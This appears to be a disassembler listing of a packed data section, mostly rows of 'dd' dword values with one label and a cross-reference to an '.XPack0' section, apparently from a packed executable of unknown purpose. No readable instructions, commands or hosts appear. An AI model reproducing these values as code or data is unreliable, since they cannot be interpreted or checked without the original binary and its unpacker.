dd 6D6EB664h, 7D6A2E6Fh, 142EA610h, 0B490FC21h, 0DB1EB089h
dd 0DD000552h, 0A9D4CDD6h, 0FE19AD83h, 15FFD557h, 90250C35h
dd 8AB26E0Fh, 0C764BD3h, 1E1E3D5Ah, 0F7090999h, 0D497C376h
dd 0EB841BDAh, 0C641EAEh, 0EDD8BE19h, 0C3B35733h, 7112A0C9h
dd 0B2B53DABh, 0E57627F3h, 0F1BE341Ch, 6DA3DCF3h, 32323760h
dd 0B29C6802h, 8F2A57E1h, 1B7AFC65h, 4354BE8Ah, 5C2787CAh
dd 3891CE76h, 6B29DB99h, 877DCF28h, 0A6DFF51Ch, 0DB47B192h
dd 0C5ACE01Ch, 0B106F2C7h, 844C1525h, 0B77CD9D6h, 0C600702Eh
dd 5EB1D3B5h, 71541FCFh, 0BC094560h, 0BAB3787h, 6422C701h
dd 54981DEBh, 764FC73h, 63E49B31h, 0E8C27935h, 0C9DF4415h
dd 7DEDF61Ah, 9B4966E9h, 3DADA099h, 0E42E8F62h, 0BC4C6060h
dd 9F72286Eh, 175F3D16h, 0AA4C6F97h, 9BCF30B3h, 76059B8Ch
dd 6143EAB8h, 0D549DFB4h, 0ED80EA8h, 4AD56489h, 0DCBDC33Fh
dd 43ADB0C9h, 157F94CAh, 0F1634E65h, 686C3BA4h, 6A67828Ch
dd 0EFA9254h, 2F677372h, 6D625294h, 0D387B141h, 0DAF804D9h
dd 7723A3B9h, 0E65F4E38h, 92CC1429h, 2C7FFA43h, 75409A92h
dd 47507958h, 0BECCD8D5h, 0F1BF55FFh, 0FCA9A9AEh, 0D0BD6EF5h
dd 0C90B416Ch, 0ACC9EE67h, 2E9B9A80h, 9B929204h, 16C16E7Bh
dd 455BC0AFh, 138D1A9h, 9D3856F0h, 8A60456Bh, 76EEEB81h
dd 13622BB4h, 0F037CE34h, 0EE011B2Dh, 8D154E55h, 2443D1B1h
dd 0EE106FB6h, 0ACA5EAE0h, 0D309D0E0h, 3EF0589Ch, 6F139C78h
dd 61D8E3FBh, 45D92AF2h, 46338719h, 261B0B8Fh, 92D8B3F5h
dd 4A10D746h, 0C328A757h, 0A7516182h, 2C731730h, 0E2156DF4h
dd 63A6001Ch, 0E5B7DADAh, 0B9393923h, 0CCA4610Bh, 0F22EFE6Bh
dd 96B707ACh, 0BA95793Bh, 0D11B50E3h, 0A624E987h, 0F38D62B6h
dd 0E00C7A0Bh, 958E303Ch, 87E1748Fh, 44612B0h, 2A4D44C7h
dd 0D450A9AFh, 0A6BBBE6h, 630498DBh, 0D20B8A95h, 0FA644C5Fh
dd 0CB43DF14h, 0B56810F1h, 3462FE98h, 4EFFC750h, 60B9D552h
dd 0B430AE2Ah, 388E85Fh, 41E50484h, 0D4BC465Ch, 0FBEAD61Eh
dd 0BF229F88h, 131D67CFh, 0EC4CB640h, 0C259F5B5h, 4384BA27h
dd 0C3B8B799h, 356403D3h, 0FBEBB860h, 0B2C91A96h, 516AE1DEh
dd 57B56861h, 0F85F2757h, 1B6B6EA9h, 702438B5h, 0D717392Fh
dd 0CF09E3Ch, 0BCD2E6BBh, 1EEF92DEh, 9B1F3C4h, 77F87A4Ah
dd 1C4A7CA5h, 5E840226h, 7DCBD8EDh, 410F4B2Ch, 4BF810A2h
dd 20656E9Ah, 924B15E1h, 6EDA429Ch, 80D11C42h, 0F89358D2h
dd 0AD500326h, 7BBC3668h, 0CB806479h, 911E085Fh, 0AA2C28C0h
dd 4047EA95h, 0F5F08D4Eh, 0C9BCA63Ah, 0DB72147Ah, 904AD19Eh
dd 536DFE61h, 3C7684EEh, 384AD98Ch, 5808EF9Eh, 0C62F7E60h
dd 0BC9E0105h, 461AC176h, 0E29D5613h, 0C4752C9h, 5B4DE86Ch
dd 0BD76586Ch, 2697FFC1h, 30B97105h, 750457CEh, 0AF8A1CFAh
dd 66629ECDh, 8C5C23C8h, 25AF8D77h, 134C8118h, 165E8CC2h
dd 0DF8C064Ah, 0E1FAEED8h, 0F68A5A08h, 0EF213450h, 0C2C8EC3Fh
dd 0A3CAF2EFh, 46DB4C7Bh, 5748ECB1h, 29428AD7h, 0D0B4A9C2h
dd 8AE98310h, 0F5897C6Bh, 5187C777h, 9C8EFA1Ch, 77ECA408h
dd 6A63941Eh, 1610341Bh, 133098B7h, 69987C45h, 40230FE0h
dd 0F45C4Eh, 29AC853Dh, 0A8272D90h, 27E042A2h, 0DC18A790h
dd 38B6B7D0h, 0DF8A742Dh, 75654E5h, 8CD607E7h, 2BE71124h
dd 1D47E8E3h, 0F5D2A072h, 0DC95B098h, 62FB5D8Dh, 32FDFBC1h
dd 93615080h, 0A757ACD2h, 0B28760CBh, 2AF5A339h, 35F327B7h
dd 6CC8F857h, 7D5BA3h, 36F7140Ah, 80209E29h, 6BC85D7Eh
dd 82FE2965h, 0AB50794Bh, 781FC049h, 0BD04B8DAh, 0C91CC5Fh
dd 97599718h, 0C46A171Ah, 4B13D74h, 80994A01h, 378828FFh
dd 0E84C1D12h, 5195F68Ah, 0FD76E056h, 6108421Dh, 0AAF38DE4h
dd 0EFFAF282h, 0C954B6D1h, 8F8B9C06h, 0BD150E7Bh, 1AD0D977h
dd 0ADB594AFh, 0E0D04C1Ah, 0C93C0376h, 0B87B1477h, 0DF1A1A29h
dd 71DDB984h, 997CB1CDh, 4ED5104h, 0CEAF7741h, 3CEAA5E4h
dd 594742Bh, 0AF6A1060h, 787B2CF0h, 7F0175B5h, 786334CCh
dd 3D5D3B0Eh, 6C01CBB4h, 0EFCE79F6h, 8CD46270h, 81246020h
dd 0F217643Dh, 0FE001E83h, 0D0231A59h, 8BD4ABBAh, 7B7A7E47h
dd 5F8083FEh, 0CEF0AC4Ch, 20623A0h, 0B129A807h, 41D06B61h
dd 8E78A6CCh, 5941FF8Eh, 21F33755h, 0AAF61B29h, 9548F852h
dd 6AF5F0BAh, 0E9A8DB22h, 5D689C52h, 0BA632809h, 0C2E574F5h
dd 74F34591h, 594A5739h, 21187E01h, 0E3993920h, 0F95E48Dh
dd 0BBAEAF89h, 69A60AC2h, 70AC98F9h, 8D9DE3D9h, 0F711AEFh
dd 0DE750048h, 8FFB5B01h, 0BF737BE7h, 339E8369h, 1B2BD1DCh
dd 192C29C8h, 0C5098249h, 0E552C4EFh, 7F4C134Dh, 42B561E6h
dd 3B327A87h, 14AD81C8h, 588108B6h, 619EB08Ah, 5A6371ACh
dd 0BB260A2Bh, 5D9CA0A2h, 71B4AF4Ah, 28454DAAh, 3B372D2h
dd 9CEC47D7h, 0F9F13C5h, 99ADA346h, 4718A14Eh, 781267A6h
dd 0EA38C242h, 395BD885h, 0DE223FBDh, 5A9C27F9h, 94075A41h
dd 287DB44Eh, 1CA464CDh, 0ACE1CE0Ch, 0E44B8F9Dh, 9F4D6FC9h
dd 0A1EBFA08h, 0BF5C6FEAh, 645BC2A3h, 3929A54Fh, 0A481C154h
dd 2430BBC4h, 4120F988h, 0D2687E28h, 0FA355BBDh, 2DFBF861h
dd 3F785E64h, 0DEAB78D8h, 5823D475h, 0BA8DE214h, 8053BFE4h
dd 1B1BE262h, 0C337CE43h, 0CBEB0188h, 3B23DBC3h, 144AE3DAh
dd 0C09474C9h, 0BB260814h, 1B29EADEh, 0E05AB6EBh, 0BA05B55Ah
dd 84AB8187h, 99EC1184h, 98124EBBh, 0D682E3D3h, 5E94078Dh
dd 159F3213h, 902949F6h, 0EC07F0E2h, 0EF3AEBD9h, 2F886F7h
dd 0B7874F1Ah, 497DDC42h, 0FFC1B451h, 0FEF82B50h, 850BF934h
dd 8B63B850h, 0CBF8E0A8h, 0F5EA3A30h, 699EEB07h, 9F5159BAh
dd 31C616F8h, 8DCCC42Dh, 0E4E80FAAh, 400EC8D8h, 3F1F45A4h
dd 2F8A1649h, 78DDFDF2h, 0B8D1BEB0h, 0CF5D0D19h, 0DE0FB087h
dd 94E0E4CDh, 990F5C4Fh, 5E55157Eh, 2566AFADh, 463B4170h
dd 0D8BD7EB1h, 19871A8Bh, 77AAAF2h, 0D6C1991Ch, 64644070h
dd 0C99C83F9h, 0D1EBE2B3h, 62568A4Dh, 6AFEA0D0h, 0CAAECBC3h
dd 34AA190Dh, 250692B4h, 0CCBB7F6Bh, 0DD4A7E89h, 5F550CB3h
dd 0C63A155Fh, 107F03FFh, 68CB8106h, 5F938424h, 169C51E9h
dd 5D485956h, 950B85A1h
dd 8A4D485Ch, 4A59186Ah, 0F263FBE4h, 7E7BE003h, 0A9859E78h
dd 907329CAh, 77EB9B7Eh, 9A8A50A8h, 0AB645900h, 0B290D491h
dd 0ADACBCBDh, 0A2C0D59Bh, 0CF0EB35h, 24E35C3Fh, 83AF500h
dd 61B44720h, 620B848Bh, 507793EBh, 0E116D058h, 50D13550h
dd 663D3FEDh, 0D05F21CDh, 0CD1E1C2Fh, 0CA9C293h, 26CE64B5h
dd 0ABABBCE9h, 51C6E9E8h, 1DD914ADh, 7EA3B809h, 495D22EFh
dd 13D7F3ABh, 1B16F7F7h, 4F0109DAh, 1523C7EBh, 0B66026BBh
dd 16ECBAF3h, 0CE804D41h, 3B44EE84h, 7808D60Fh, 97252038h
dd 1D630F6Dh, 0BBDFA033h, 0FD1E5D27h, 865B0229h, 1807A715h
dd 0E9747B64h, 304D9C7Ch, 716032F9h, 0B4A32AA4h, 2D9A06ACh
dd 5257385Bh, 22A489F5h, 70B0774Eh, 0FE5BBD55h, 484FCFF8h
dd 0A5DF8AB3h, 9262A599h, 1EA1DCD4h, 0BD7BBB5Eh, 9EBE245Eh
dd 0C965CA2Ah, 0A0E9FCF7h, 260D1BC6h, 5959D3FDh, 0A43B70EAh
dd 1523B36h
dword_4E414C dd 0F503796Ah, 75C28FAFh, 0DAA5103Eh, 0D2043698h, 2BE1D31h
; DATA XREF: .XPack0:off_43D44Co
dd 3C61B2A3h, 978FB5DAh, 13626382h, 3CE769Eh, 887EC61Ch
dd 0C1D10257h, 0BC62B6FEh, 0A781FA32h, 658DE3E9h, 0D233E11Bh
dd 2F80487Eh, 77D2C393h, 68A8A58Dh, 5C5A1990h, 160A22Ah
dd 44B77F56h, 6B25CE54h, 0CE2DCD0Dh, 0F9673E82h, 0D04075DFh
dd 3C35425Bh, 0A41D7905h, 251F73CCh, 0EC46CD40h, 6505721Ch
dd 77CBFC4Ch, 39EC85F2h, 0B5A22A7h, 0DA693CA3h, 116F4FBCh
dd 0C4D628AFh, 11BF54D9h, 0F357138Bh, 0CF6F4A6Bh, 0DF92C472h
dd 61FD4CBDh, 0C7891993h, 0CC4FE47h, 505DAFFCh, 8CB38D5Eh
dd 1ECE9E6Dh, 8BD29D22h, 0E81A2134h, 455800E0h, 54747C7Dh
dd 0F421B202h, 8C56C510h, 2C179FDCh, 3204E8F8h, 55425DBh
dd 31F8C929h, 7D512AACh, 95080959h, 0AAB949EFh, 87962C28h
dd 8BB44552h, 0EA7CE5F6h, 6BB10672h, 7A072E50h, 42ADB6FBh
dd 86CE9890h, 0F01BF712h, 0B1B05509h, 2F987F24h, 0F55298F7h
dd 0DDB6870Ch, 87ED2DEBh, 48AB180Fh, 308F242Eh, 247CE3EDh
dd 6A95EE5Eh, 10857835h, 35C17161h, 0BEEF37Ah, 0FA0F8783h
dd 0EEBB317Ch, 0ABE29C69h, 0E31C2105h, 7DF95E54h, 0CF478159h
dd 0DC96CCE5h, 87209CDFh, 8B6588F6h, 0D7D3FC32h, 0BF71E84h
dd 7AF1CE6Eh, 996E6F59h, 667CDD00h, 0C859418Ch, 8B1203E8h
dd 98DDC52Eh, 1DAEB129h, 8BE16ED9h, 384F02DFh, 0F73062A3h
dd 3BF4085Fh, 30912BE0h, 0A4635958h, 3E87F5CEh, 0C6270A3Ch
dd 22AF3BC5h, 0CFB1DDE4h, 3DBDF621h, 52B154AEh, 4367A44Fh
dd 25BFE518h, 0A72365FAh, 80944A0Dh, 8BB0F5E2h, 414E5EB0h
dd 0C819A5B3h, 0ACB82791h, 73B91A49h, 0ACF14EC3h, 6001A651h
dd 0D8A4C14Bh, 63D76691h, 60A987C0h, 97B39D88h, 0B3EC9824h
dd 0E0B761B8h, 0E0E27DC5h, 27194D4Eh, 282321EFh, 0A652A65h
dd 57475E6Dh, 94C3551Dh, 92631BF7h, 68187860h, 89FBBD2Ch
dd 4B66BC50h, 2A26F2BBh, 276C1E13h, 0CA4AB90Ah, 47BA62CAh
dd 8C12472Ch, 968A9C60h, 2C418739h, 683C4EAFh, 0B9B11324h
dd 0D28AA5A7h, 6C86A03Dh, 0C39CFBB2h, 4F38935Bh, 9F3D2F16h
dd 16653279h, 0A92A3772h, 3B5E16D1h, 0B43B80E6h, 52E48D84h
dd 2D93FE3Ah, 0FAE2351Dh, 0C238B699h, 8BF14CE3h, 0A93FFBBAh
dd 773E051Fh, 0A4E20E51h, 2AC156B5h, 219EC662h, 0B217E1F0h
dd 91319E3Fh, 6C42CA4h, 2FFB923Fh, 0F7CFF923h, 0F9336042h
dd 1AB006A9h, 0D46C999Ah, 118CA367h, 6FAE9215h, 76BB3602h
dd 85AB505Bh, 0C3CB817Dh, 0A8F71324h, 0CE8BE09Bh, 29731DC9h
dd 0FD098C6Eh, 3342A0EEh, 0E229B1A2h, 88180F3Dh, 4316D481h
dd 349F70FAh, 2D6EA65h, 91F3F8F3h, 68693D40h, 0CCCFD28Ch
dd 0F347633Fh, 0D6B9EC44h, 444D9E2Fh, 0CCB00C48h, 11EC4C57h
dd 3C767B0Ch, 988E0421h, 0A5EF926h, 3EC3BC5Ah, 4D7A6858h
dd 0EC82355h, 0E9BF3D6Ch, 2FD1C46h, 6AC41434h, 1D801F03h
dd 5F141FE6h, 54D333F2h, 0AB0038CFh, 3A72862Dh, 674E99F8h
dd 0BE348E8Ch, 0FCCE5667h, 0AF879973h, 2EA3E664h, 9F67508Eh
dd 57145382h, 0A8207200h, 7878A3ADh, 610488C4h, 8D4351CDh
dd 6EBD2ECFh, 0F71F88A6h, 8460AAAFh, 0A6A5381Ah, 7F906080h
dd 5583C8Bh, 3807A39h, 7089BB1Bh, 9A1BCC20h, 0F9D528F8h
dd 65F6CADAh, 0FCF8F950h, 64108F65h, 0D0C6AD43h, 46233BFAh
dd 9D57CD69h, 0E57D079Ah, 0D42E658Eh, 1E91A084h, 0A4F1FCF9h
dd 0F3ECD3DFh, 0E1FCA06h, 7CCC214Eh, 0B8FCDD55h, 0F8BFD94Fh
dd 0F6CB9832h, 686B9C66h, 8668E806h, 6A29BEE7h, 0C137221Eh
dd 5BC5484Eh, 0CCFAA5Ch, 7D58D7E3h, 19B7D989h, 18E6557Ch
dd 0F3AD2957h, 89471382h, 0B0659961h, 0A402BF4Ch, 0A0A4CE77h
dd 189E884Ah, 8755292Ah, 33E1D5E0h, 0DEF7E3D9h, 3E03F18Eh
dd 0A859B799h, 38F5D843h, 1A46EA18h, 0A9A65450h, 17DAE897h
dd 0B19ADC2Dh, 2112941Dh, 282E198Dh, 0C2B12059h, 31C7F958h
dd 92A30D5Bh, 7F2B3BA9h, 0D8589A92h, 22FB75F0h, 3C9191A0h
dd 3816D9E5h, 0D4E8EF4Bh, 0BF15698Dh, 0E6A700DFh, 3AF29E7Eh
dd 0AB62D2Bh, 1F968654h, 0CD6F7C3Fh, 6CE0F27Ah, 0D4E518B7h
dd 57259115h, 0F9D20D1Eh, 6051EC4Ch, 7F81F3C5h, 0AA88601h
dd 38940699h, 4D898AE4h, 0E0C306F1h, 0B078EFDAh, 7B00D1D6h
dd 0A0281CD1h, 380D40E8h, 3F056F95h, 0C4BD1E8Ch, 0BC4CED4Ah
dd 6368F95Ah, 0A8FCC1B0h, 6995270Eh, 4FB72D11h, 36AE3D11h
dd 5FAB2D79h, 0D1B2EEC4h, 46984CEAh, 7E847788h, 9D137B70h
dd 47EA830Eh, 61352385h, 0E3921F59h, 1C885D69h, 1E9B6B13h
dd 0B09591B5h, 6BC1AB05h, 8EA59894h, 8257349Ah, 0DB1B75C2h
dd 0E880AF06h, 39629B9Dh, 0DB397510h, 0A64F4C6Dh, 0EBC55BCAh
dd 21755207h, 4CD4A14h, 15DC73D4h, 0DFEFE23Dh, 0DAEC7E05h
dd 495FE813h, 487E5468h, 0C9E03620h, 7100C722h, 8B04DD81h
dd 7B71E6h, 87AAD9C1h, 0B30AFCBEh, 428D8CA0h, 0FD5E4419h
dd 0EDEB34D1h, 3EBD11F3h, 0DFD85E21h, 0C691B779h, 7028CD73h
dd 20D6EF4Ch, 839624CAh, 4AD758C1h, 87B1BA78h, 6D3D2ACFh
dd 0D4690A58h, 99053E07h, 71ACAA78h, 4CAAD295h, 8E0D195Ch
dd 0BABF67DFh, 2D1D13E1h, 633804Dh, 54FE604Ah, 0E83519E7h
dd 862B661Ah, 0FE12692Ah, 0D64A18EFh, 263160D4h, 0C9B67338h
dd 0D3798D5Ch, 68A7A6D2h, 45F971BFh, 0D2F1B337h, 672BCD87h
dd 0B51BEEBCh, 52BB2680h, 89B218FCh, 4ABE4B36h, 0A87C0723h
dd 92614AF3h, 4DD20182h, 0C3FE9C12h, 0DA6FE82Dh, 536E76EEh
dd 0B7EE3C47h, 6E510913h, 0D3538823h, 0F06073E4h, 32C23243h
dd 10A193A2h, 16AEA6Bh, 1936AAB6h, 0DC604139h, 0A6665FB9h
dd 0E0A6651Ah, 34328346h, 0BD364D2Ch, 0A2379307h, 14442439h
dd 0BFD7273Fh, 7CA906A5h, 8FCD7DA6h, 743C824Ch, 184906Ch
dd 0A60DD4B1h, 0CB75A14Bh, 10B1A55Dh, 8D9C217Dh, 1951F5E9h
dd 0C8D6BDFCh, 0CA7DB4Fh, 7FEEB8DEh, 9F4D7185h, 559D817Ch
dd 0B2F3A90Dh, 81084B7Ah, 39D6EABEh, 0E99D7C17h, 9472C2EEh
dd 8C8556E5h, 606A1678h, 42A0866Dh, 6399C75Eh, 0DB6D6E99h
dd 24587333h, 0CD67679Eh, 92DC840Dh, 644F6F35h, 8DF77C18h
dd 2BF8E18Ch, 3D8B9DD5h, 87FBD74Eh, 0C69E3B2Fh, 0AE952B11h
dd 8C1CFEBDh, 2D5EB4C5h, 0BCF79E06h, 776F9AC0h, 0BEEE342Ah
dd 9E961FC7h, 82FFAD54h, 0A410E0F2h, 0ECD99E0Ah, 36CAE748h
dd 0DE923A1Bh, 0B69386FFh, 0C2482DB8h, 5EFE9EF5h, 0A535068Eh
dd 9493116Dh, 966AB4FAh, 5DA4FCAAh, 6D59E4FDh, 3C3ECBFEh
dd 0D26A3915h, 994A4856h, 10FEC5E1h, 6C901746h, 0FAF95702h
dd 1DDD5F40h, 4E36AEE1h, 719A1384h, 4E56E9Ah, 5A47C5C2h
dd 8948A397h, 5774969Bh, 9D4EBBEFh, 3DEC09C6h, 0F77926Fh
dd 0C288F75Eh, 0C3FA435Ch, 0CEB238A3h, 9E319D4h, 5471353Bh
dd 2EEF24Eh, 0B50A6679h, 49E6A9F2h, 0AA6CA55Eh, 0E522ED72h
dd 5A2718A2h, 10576B0Ah, 6722C824h, 5832E67Fh, 4D4446A8h
dd 12E323ABh, 2F967B11h, 0F6E1F03Bh, 96CB29DEh, 0CEC5F4DCh
dd 224A18AEh, 21990001h, 10EBC07Ah, 0A7DE5B99h, 8D51460Eh
dd 0C2535D7Eh, 0CAF1AC97h, 0E5C1A0Fh, 0FBD9CF51h, 0AB0B3F5h
dd 805D7CB7h, 0C46E4A02h, 8E6B4AD8h, 184CE2EEh, 36915388h
dd 6948ED22h, 3EE082Ch, 413FD1BDh, 23937FDDh, 30E3A2B7h
dd 40D1609Bh, 0F5A17605h
dd 24DE63D5h, 0A5DA31F0h, 34A812F2h, 0EF73128Ah, 0E02D4067h
dd 1F92A21Fh, 0F8FF0C19h, 51F576C6h, 705D9C43h, 0EC498EE2h
dd 2F83BB0Bh, 0C254815Ah, 73E1CD84h, 0FC80DAC2h, 507F528Dh
dd 4BDDD307h, 119A7748h, 0ACA2E37Ah, 0DA1597CDh, 0ED0E3DA3h
dd 97462C92h, 0A18E5F56h, 0C9B7532Ch, 63454984h, 96789DBEh
dd 0B977F489h, 17781874h, 0A06B0AB6h, 400CBFA5h, 0A9CB280Ah
dd 11CBE701h, 0C1A08E58h, 9F82936h, 0A4EA99E4h, 10D67AAFh
dd 0BE67AE6Bh, 0FCF052CDh, 0D4FD685h, 0C189B379h, 5BFFC73Bh
dd 3DD51BECh, 1824F6E5h, 70333571h, 3885FDB0h, 976A5390h
dd 52D164D4h, 0DEC18201h, 7AA98543h, 0C6F0501Ah, 0F4203371h
dd 0B139B828h, 0E55E7E4Ch, 0EC01169Eh, 0C9126FF0h, 4939E3A1h
dd 0C4DAB3Fh, 9042878Fh, 0D7E236Ch, 761F7B50h, 26D55727h
dd 42662EA1h, 0A0A282B9h, 0B7D381B8h, 0B066EEDh, 0FF3FB073h
dd 0F11F6DE0h, 0E5A558DAh, 6C6D8FB6h, 0B3865DF7h, 99EEB73Bh
dd 76020A1Dh, 0E43B5FECh, 0F8FF755Dh, 70A7FF95h, 85182E45h
dd 6918B720h, 81B9C463h, 0B7FC33FAh, 2AADF940h, 81538A02h
dd 1C4EBD88h, 0C5A77FD0h, 0F34A7118h, 2F022B03h, 1699F42Fh
dd 5923BD74h, 0EF1FA606h, 1EE0CBD2h, 60E0FA4Ah, 0D3B3FCE2h
dd 9D1DAF76h, 48964976h, 3933A60Eh, 0F5BEBE58h, 86F5DA00h
dd 0C5FBB506h, 0AB0492AFh, 0FF391C3h, 0EFC6BF63h, 0F0E3C0F0h
dd 0F0A8FA20h, 52FE1929h, 82C8CBDAh, 2D3A52CFh, 0CFEF7A75h
dd 8ED6F95Ah, 0DF701033h, 0A249D841h, 5E2747B8h, 535AD3C8h
dd 87673F1Ch, 0AAE1E235h, 0C647C57h, 457D667Ch, 38A3C2D3h
dd 0E9F6F866h, 1BD4C4DAh, 4B32AE1Ah, 5B920C1Dh, 1BA20FB3h
dd 0B8503DEEh, 0B75798B4h, 35AC75F9h, 43F5FCA8h, 219E8C51h
dd 81A66CA2h, 90D4CF68h, 60304410h, 7502A95h, 0FDAF0A45h
dd 0FC8D2653h, 7C38D352h, 5C57759Ah, 3DF4B313h, 0B30EB671h
dd 0E8BDE54Bh, 81E3F60Dh, 25B746A4h, 68B129Ah, 7D4F1E73h
dd 0F4D1616Bh, 0C86C7C5Ch, 0E2164F18h, 52210347h, 0AA823302h
dd 876D6D0h, 0F84FAFE0h, 6CFA2ACDh, 0A12D9AC4h, 7FC7CDFDh
dd 5FEAD33Dh, 0EF4827EEh, 0B13C316Bh, 28B41CD5h, 596A0440h
dd 3C6E3DFDh, 0B73E3B8Ch, 87AC9A5h, 69C0503Eh, 0BE7259BDh
dd 9DE3D4BFh, 0EECEDB1Ch, 0EFDA4636h, 93CD0EF3h, 0FAC41290h
dd 0F7F8E3B8h, 4C75AECBh, 1DB76225h, 8C1460h, 0D83C8E8h
dd 876BCE6Ah, 0D9CB6BA3h, 71326A0Fh, 33F33601h, 0DBB6E32Fh
dd 74139227h, 157FDB4h, 1DE5537Fh, 0E5A8F5A2h, 0E5B10D75h
dd 2DD7506Dh, 596219EAh, 1BD4F3B6h, 546A19ADh, 0DFC04F4Ah
dd 0BE508F35h, 34FD7D17h, 0AEE4B8B9h, 24355C58h, 0A02512E0h
dd 0D421F2DCh, 17488C1Fh, 3A03D96Eh, 154A5F3Dh, 67FD13B4h
dd 0DDDFFA2h, 363FB867h, 0CFABDB9Fh, 181368A8h, 171AFE39h
dd 3CA40999h, 6247E801h, 71BEC9B9h, 0D4ABEFBh, 0C5683730h
dd 0B5D9743Dh, 0B15BA02Eh, 602B0A3Fh, 5F026ABDh, 3C2A689h
dd 0FC9B0EFFh, 0AAB7BB45h, 388FB53Dh, 364CF811h, 0F98486h
dd 0E828DD60h, 0BF9F12CAh, 0B4B919BDh, 91FFF886h, 338F6C2Ah
dd 9B7674F7h, 540FE252h, 2745A476h, 0C7E19CCAh, 5EE1DFB8h
dd 0F6AC5E27h, 7741B2A6h, 0D4D4510h, 1EEAFCD6h, 5C721B7Dh
dd 0B93BF1A2h, 46F9BB90h, 0B30E3BABh, 635189B6h, 9515130Dh
dd 9725015Bh, 2CB56602h, 0EA03AA1Dh, 5B12C26Ch, 0A1F977ECh
dd 930DA406h, 0E790E94h, 0D0AD4A09h, 1F8BE060h, 1CD4BCBCh
dd 47CC98D2h, 338985BEh, 11FC61B4h, 0D36F928Eh, 10F0CC00h
dd 0FD2492Dh, 8BDE4E0Bh, 0F384E02h, 528D8C6Eh, 0D6D66C91h
dd 0A58723B7h, 74C61D66h, 53FC42FEh, 8A62F7C9h, 8DEC7A6Bh
dd 28C139E5h, 0F3D57A31h, 598EA5FAh, 4A965341h, 74CF7953h
dd 299B2EE4h, 7F5BB8DBh, 0D7F5FCFh, 5FCCDBC7h, 0AF640848h
dd 0F1BB280Ah, 0C9C49856h, 0A72A9025h, 0E91DBE7Ch, 2229877Ch
dd 60FF0553h, 644B0BAFh, 5CE30EDBh, 0BC636656h, 9DC2A024h
dd 41D813E6h, 0F0563839h, 3BE0FBAFh, 8E231BEEh, 3554EB24h
dd 792AC1B5h, 0F5CF60C2h, 9D3565A9h, 0EB721EA7h, 0BCB36CF4h
dd 0CC642F5Bh, 0E29A300Fh, 0B3545222h, 52954EC5h, 0FA28AB8Bh
dd 0FCC08462h, 0E05356E4h, 0E299A4BBh, 1673C674h, 0BEDF8905h
dd 59354A2h, 742A401Bh, 0D593A441h, 6A34FFEAh, 55214028h
dd 92B5D2Bh, 6C2F8E5Ch, 0E141AF5Dh, 53729DE2h, 1B7183F8h
dd 0E3C3BF53h, 0A5CFCC89h, 345076D7h, 1EB991C5h, 911581E8h
dd 2A223B8Dh, 2E1F9AAEh, 0D80C3C55h, 7304A32Eh, 492D2E08h
dd 0BE752723h, 48E2168Fh, 935DE315h, 9F0A891Dh, 0AD0297DBh
dd 0D03FB1C8h, 0DC6632D5h, 380BA968h, 80BA0AAFh, 560BC88Eh
dd 44EFC511h, 8228761Eh, 5B0782A0h, 3E23E4E7h, 0D3653E1Eh
dd 0BE7E9492h, 0A9DD36C2h, 72DFD895h, 2D740CFBh, 0F5D21090h
dd 9E92036Eh, 0F07321F3h, 81124DEh, 0BEB2BEEBh, 7623EBD5h
dd 0B721F142h, 0E94F85E8h, 35C05DDEh, 0CFEDCC9Fh, 0C3C7FC72h
dd 133FADFBh, 75972F8h, 4C35DA07h, 0B08AA05Ah, 429EA214h
dd 3079A4E0h, 973529D7h, 69CFBCEh, 6487D703h, 74074CA6h
dd 6CEBC3FBh, 7200DDCFh, 0B287A67Eh, 0EFEC7985h, 7E2B4FFCh
dd 8D2EDB96h, 68EA8254h, 0D44D71D0h, 106B58F9h, 94B390F1h
dd 89FEA16Ch, 7115DA6h, 659A48E6h, 273E0C47h, 0D6BC3E33h
dd 0A31C807Bh, 0CDB01D13h, 0FFD7ED48h, 69E73F15h, 48BB47ACh
dd 38E60F69h, 0CDE700F6h, 0ED7D63DBh, 4A47DACFh, 88440A6Fh
dd 283F4431h, 8899AB6Ah, 1297BBEFh, 418674AFh, 434A3B4Eh
dd 5AA3E1F1h, 0C0005599h, 2694B5B8h, 5C03BA7h, 251DFBE2h
dd 328D925Fh, 117B3BDDh, 8C79740Ah, 65513909h, 8491FD63h
dd 11B1E525h, 2EF9D4EBh, 7BC6071Dh, 0ED63E319h, 0D98B38BDh
dd 74B2516Dh, 0C35237A9h, 694DF45h, 0E7AD7240h, 0FB719D76h
dd 12D15F96h, 90C0A5FDh, 6F001D06h, 7DD8A54Ch, 8A85367Dh
dd 52B5DB74h, 604843A2h, 6A0911E2h, 973BA6C5h, 0DFE1AFE8h
dd 0CA9173B6h, 0FDA01817h, 937A4B7Bh, 905806D9h, 0AEE4077Dh
dd 3B84E2A9h, 0F3B4C462h, 0BD4266A3h, 22FAE6B5h, 0B54C709Ah
dd 0FAE283A6h, 109D5519h, 66C5C9C8h, 0D5DB3E9Eh, 92ED8431h
dd 79AD61D6h, 114119D9h, 0F917ED03h, 31E08FC5h, 0C0CA157h
dd 600D8205h, 0A20A87E0h, 0FDE47D5Dh, 0E784419Eh, 0F9B3FE64h
dd 8D40F120h, 75FBE238h, 4AC7553Ch, 204FAEE5h, 0C3C4FDC9h
dd 8BC20C12h, 399A0B5Eh, 0C0A9C6E7h, 2ADD83A1h, 0DA636AFBh
dd 5F09FCDBh, 0FCE2C085h, 97010EA0h, 0BCA7C10h, 2F99982Fh
dd 86A5D82Bh, 0FBA66BE1h, 0FD814448h, 123824A7h, 52971EFAh
dd 4B1DEBCDh, 63F71E2Dh, 932E3196h, 0C926E4E9h, 76EBBEFh
dd 67579D38h, 22A21893h, 78C69C35h, 8818D0C5h, 7D29C19Dh
dd 8525627Dh, 50DA798Fh, 75D15842h, 0FD249CE4h, 937D4DC3h
dd 17821E13h, 79CEAD7Ah, 0CB7170Ch, 9033CE93h, 7A5EAE1Bh
dd 96719FD7h, 0B89C8B7Fh, 988BB60Ch, 8C378D15h, 0D39E357Eh
dd 4009DF75h, 1BC339FDh, 0C19F7406h, 27ED265Ch, 78A58A47h
dd 0CD1B8178h, 0CA76BC62h, 5538CDFBh, 0EDB6382Ah, 0CBF79FB6h
dd 7589FEC9h, 9FEAAA42h, 16F2571Eh, 0D5B1FE86h, 97011F7Ch
dd 5F8A1039h, 7083D347h, 0B71B522Bh, 0DFB77E97h, 0B9F0D0B8h
dd 1D72268h, 0F43E4EAAh
dd 9D4CC3ACh, 8384BDF4h, 545E5948h, 8A9AF267h, 71FE9D72h
dd 0C1A1469Eh, 0A0BC473Ah, 9DEABC06h, 0F7C53690h, 70A91BE4h
dd 3593C283h, 3B5E9DEh, 0E089CCB0h, 2B418F2Dh, 58706E92h
